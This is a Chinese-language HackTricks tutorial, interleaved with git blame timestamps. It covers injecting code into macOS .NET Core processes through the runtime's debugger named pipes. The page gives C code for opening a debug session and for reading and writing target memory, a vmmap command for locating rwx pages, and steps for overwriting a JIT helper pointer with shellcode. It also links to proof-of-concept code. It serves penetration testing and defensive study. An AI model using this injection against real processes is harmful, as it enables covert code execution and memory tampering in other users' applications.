2023-08-03 19:12:22 +00:00
|
|
|
|
# macOS .Net应用程序注入
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 YouTube 🎥</strong></a></summary>
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
|
|
|
|
</details>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## .NET Core调试 <a href="#net-core-debugging" id="net-core-debugging"></a>
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### **建立调试会话** <a href="#net-core-debugging" id="net-core-debugging"></a>
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
[**dbgtransportsession.cpp**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp)负责处理调试器与被调试进程之间的**通信**。\
|
|
|
|
|
它通过调用[dbgtransportsession.cpp#L127](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L127)中的[twowaypipe.cpp#L27](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/debug-pal/unix/twowaypipe.cpp#L27)创建每个.Net进程的2个命名管道(一个以**`-in`**结尾,另一个以**`-out`**结尾,其余部分名称相同)。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
因此,如果你进入用户的**`$TMPDIR`**目录,你将能够找到用于调试.Net应用程序的**调试FIFO**:
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-15 18:29:39 +00:00
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
函数[**DbgTransportSession::TransportWorker**](https://github.com/dotnet/runtime/blob/0633ecfb79a3b2f1e4c098d1dd0166bc1ae41739/src/coreclr/debug/shared/dbgtransportsession.cpp#L1259)将处理来自调试器的通信。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
调试器需要做的第一件事是**创建一个新的调试会话**。这是通过**通过`out`管道发送以`MessageHeader`结构开始的消息**来完成的,我们可以从.NET源代码中获取:
|
2023-06-25 23:05:20 +00:00
|
|
|
|
```c
|
|
|
|
|
struct MessageHeader
|
|
|
|
|
{
|
2023-08-03 19:12:22 +00:00
|
|
|
|
MessageType m_eType; // Type of message this is
|
|
|
|
|
DWORD m_cbDataBlock; // Size of data block that immediately follows this header (can be zero)
|
|
|
|
|
DWORD m_dwId; // Message ID assigned by the sender of this message
|
|
|
|
|
DWORD m_dwReplyId; // Message ID that this is a reply to (used by messages such as MT_GetDCB)
|
|
|
|
|
DWORD m_dwLastSeenId; // Message ID last seen by sender (receiver can discard up to here from send queue)
|
|
|
|
|
DWORD m_dwReserved; // Reserved for future expansion (must be initialized to zero and
|
|
|
|
|
// never read)
|
|
|
|
|
union {
|
|
|
|
|
struct {
|
|
|
|
|
DWORD m_dwMajorVersion; // Protocol version requested/accepted
|
|
|
|
|
DWORD m_dwMinorVersion;
|
|
|
|
|
} VersionInfo;
|
|
|
|
|
...
|
|
|
|
|
} TypeSpecificData;
|
|
|
|
|
|
|
|
|
|
BYTE m_sMustBeZero[8];
|
2023-06-25 23:05:20 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
2023-08-15 18:29:39 +00:00
|
|
|
|
在新会话请求的情况下,这个结构体的填充方式如下所示:
|
2023-06-25 23:05:20 +00:00
|
|
|
|
```c
|
|
|
|
|
static const DWORD kCurrentMajorVersion = 2;
|
|
|
|
|
static const DWORD kCurrentMinorVersion = 0;
|
|
|
|
|
|
|
|
|
|
// Set the message type (in this case, we're establishing a session)
|
|
|
|
|
sSendHeader.m_eType = MT_SessionRequest;
|
|
|
|
|
|
|
|
|
|
// Set the version
|
|
|
|
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMajorVersion = kCurrentMajorVersion;
|
|
|
|
|
sSendHeader.TypeSpecificData.VersionInfo.m_dwMinorVersion = kCurrentMinorVersion;
|
|
|
|
|
|
|
|
|
|
// Finally set the number of bytes which follow this header
|
|
|
|
|
sSendHeader.m_cbDataBlock = sizeof(SessionRequestData);
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
一旦构建完成,我们使用`write`系统调用将其发送给目标。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
```c
|
|
|
|
|
write(wr, &sSendHeader, sizeof(MessageHeader));
|
|
|
|
|
```
|
2023-08-15 18:29:39 +00:00
|
|
|
|
在发送请求头之后,我们需要发送一个`sessionRequestData`结构体,其中包含一个GUID来标识我们的会话:
|
2023-06-25 23:05:20 +00:00
|
|
|
|
```c
|
|
|
|
|
// All '9' is a GUID.. right??
|
|
|
|
|
memset(&sDataBlock.m_sSessionID, 9, sizeof(SessionRequestData));
|
|
|
|
|
|
|
|
|
|
// Send over the session request data
|
|
|
|
|
write(wr, &sDataBlock, sizeof(SessionRequestData));
|
|
|
|
|
```
|
2023-08-15 18:29:39 +00:00
|
|
|
|
在发送我们的会话请求后,我们从`out`管道中读取一个标头,该标头将指示我们建立调试器会话的请求是否成功。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
```c
|
|
|
|
|
read(rd, &sReceiveHeader, sizeof(MessageHeader));
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 读取内存
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
通过建立一个调试会话,可以使用消息类型 [`MT_ReadMemory`](https://github.com/dotnet/runtime/blob/f3a45a91441cf938765bafc795cbf4885cad8800/src/coreclr/src/debug/shared/dbgtransportsession.cpp#L1896) 来**读取内存**。要读取一些内存,主要需要的代码如下:
|
2023-06-25 23:05:20 +00:00
|
|
|
|
```c
|
|
|
|
|
bool readMemory(void *addr, int len, unsigned char **output) {
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
*output = (unsigned char *)malloc(len);
|
|
|
|
|
if (*output == NULL) {
|
|
|
|
|
return false;
|
2023-06-25 23:05:20 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
sSendHeader.m_dwId++; // We increment this for each request
|
|
|
|
|
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
|
|
|
|
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
|
|
|
|
sSendHeader.m_eType = MT_ReadMemory; // The type of request we are making
|
|
|
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to read from
|
|
|
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
|
|
|
sSendHeader.m_cbDataBlock = 0;
|
|
|
|
|
|
|
|
|
|
// Write the header
|
|
|
|
|
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Read the response header
|
|
|
|
|
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Make sure that memory could be read before we attempt to read further
|
|
|
|
|
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
memset(*output, 0, len);
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Read the memory from the debugee
|
|
|
|
|
if (read(rd, *output, sReceiveHeader.m_cbDataBlock) < 0) {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return true;
|
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
证明概念(POC)代码在[这里](https://gist.github.com/xpn/95eefc14918998853f6e0ab48d9f7b0b)找到。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
### 写入内存
|
|
|
|
|
```c
|
|
|
|
|
bool writeMemory(void *addr, int len, unsigned char *input) {
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
sSendHeader.m_dwId++; // We increment this for each request
|
|
|
|
|
sSendHeader.m_dwLastSeenId = sReceiveHeader.m_dwId; // This needs to be set to the ID of our previous response
|
|
|
|
|
sSendHeader.m_dwReplyId = sReceiveHeader.m_dwId; // Similar to above, this indicates which ID we are responding to
|
|
|
|
|
sSendHeader.m_eType = MT_WriteMemory; // The type of request we are making
|
|
|
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_pbLeftSideBuffer = (PBYTE)addr; // Address to write to
|
|
|
|
|
sSendHeader.TypeSpecificData.MemoryAccess.m_cbLeftSideBuffer = len; // Number of bytes to write
|
|
|
|
|
sSendHeader.m_cbDataBlock = len;
|
|
|
|
|
|
|
|
|
|
// Write the header
|
|
|
|
|
if (write(wr, &sSendHeader, sizeof(sSendHeader)) < 0) {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Write the data
|
|
|
|
|
if (write(wr, input, len) < 0) {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Read the response header
|
|
|
|
|
if (read(rd, &sReceiveHeader, sizeof(sSendHeader)) < 0) {
|
|
|
|
|
return false;
|
2023-06-25 23:05:20 +00:00
|
|
|
|
}
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
// Ensure our memory write was successful
|
|
|
|
|
if (sReceiveHeader.TypeSpecificData.MemoryAccess.m_hrResult != 0) {
|
|
|
|
|
return false;
|
|
|
|
|
}
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
return true;
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
}
|
|
|
|
|
```
|
|
|
|
|
可以在[这里](https://gist.github.com/xpn/7c3040a7398808747e158a25745380a5)找到用于执行此操作的POC代码。
|
|
|
|
|
|
|
|
|
|
### .NET Core代码执行 <a href="#net-core-code-execution" id="net-core-code-execution"></a>
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
首先要做的是识别一个具有**`rwx`**权限的内存区域,以保存要运行的shellcode。可以使用以下代码轻松完成此操作:
|
2023-06-25 23:05:20 +00:00
|
|
|
|
```bash
|
|
|
|
|
vmmap -pages [pid]
|
|
|
|
|
vmmap -pages 35829 | grep "rwx/rwx"
|
|
|
|
|
```
|
2023-08-03 19:12:22 +00:00
|
|
|
|
然后,为了触发执行,需要知道存储函数指针的位置以覆盖它。可以在**动态函数表(DFT)**中覆盖指针,该表由.NET Core运行时用于提供JIT编译的辅助函数。支持的函数指针列表可以在[`jithelpers.h`](https://github.com/dotnet/runtime/blob/6072e4d3a7a2a1493f514cdf4be75a3d56580e84/src/coreclr/src/inc/jithelpers.h)中找到。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
在x64版本中,可以使用类似mimikatz的**签名搜索**技术直接在**`libcorclr.dll`**中搜索对符号**`_hlpDynamicFuncTable`**的引用,然后我们可以对其进行解引用:
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-07-31 15:59:11 +00:00
|
|
|
|
<figure><img src="../../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-15 18:29:39 +00:00
|
|
|
|
现在只需要找到一个地址来开始我们的签名搜索。为此,我们利用另一个暴露的调试器函数**`MT_GetDCB`**。它返回目标进程的一些有用信息,但对于我们的情况,我们对返回的字段感兴趣,其中包含一个辅助函数的地址**`m_helperRemoteStartAddr`**。使用这个地址,我们知道**`libcorclr.dll`在目标进程内存中的位置**,可以开始搜索DFT。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
知道了这个地址,就可以用我们的shellcode覆盖函数指针。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
完整的用于注入到PowerShell的POC代码可以在[这里](https://gist.github.com/xpn/b427998c8b3924ab1d63c89d273734b6)找到。
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
## 参考资料
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 此技术来自[https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/](https://blog.xpnsec.com/macos-injection-via-third-party-frameworks/)
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
|
|
|
|
<details>
|
|
|
|
|
|
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
|
|
2023-08-03 19:12:22 +00:00
|
|
|
|
* 你在一家**网络安全公司**工作吗?想要在HackTricks中**宣传你的公司**吗?或者想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
|
|
|
|
* 发现我们的独家[**NFT收藏品**](https://opensea.io/collection/the-peass-family)——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
|
|
|
|
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
|
|
|
|
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
|
|
|
|
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
2023-06-25 23:05:20 +00:00
|
|
|
|
|
|
|
|
|
</details>
|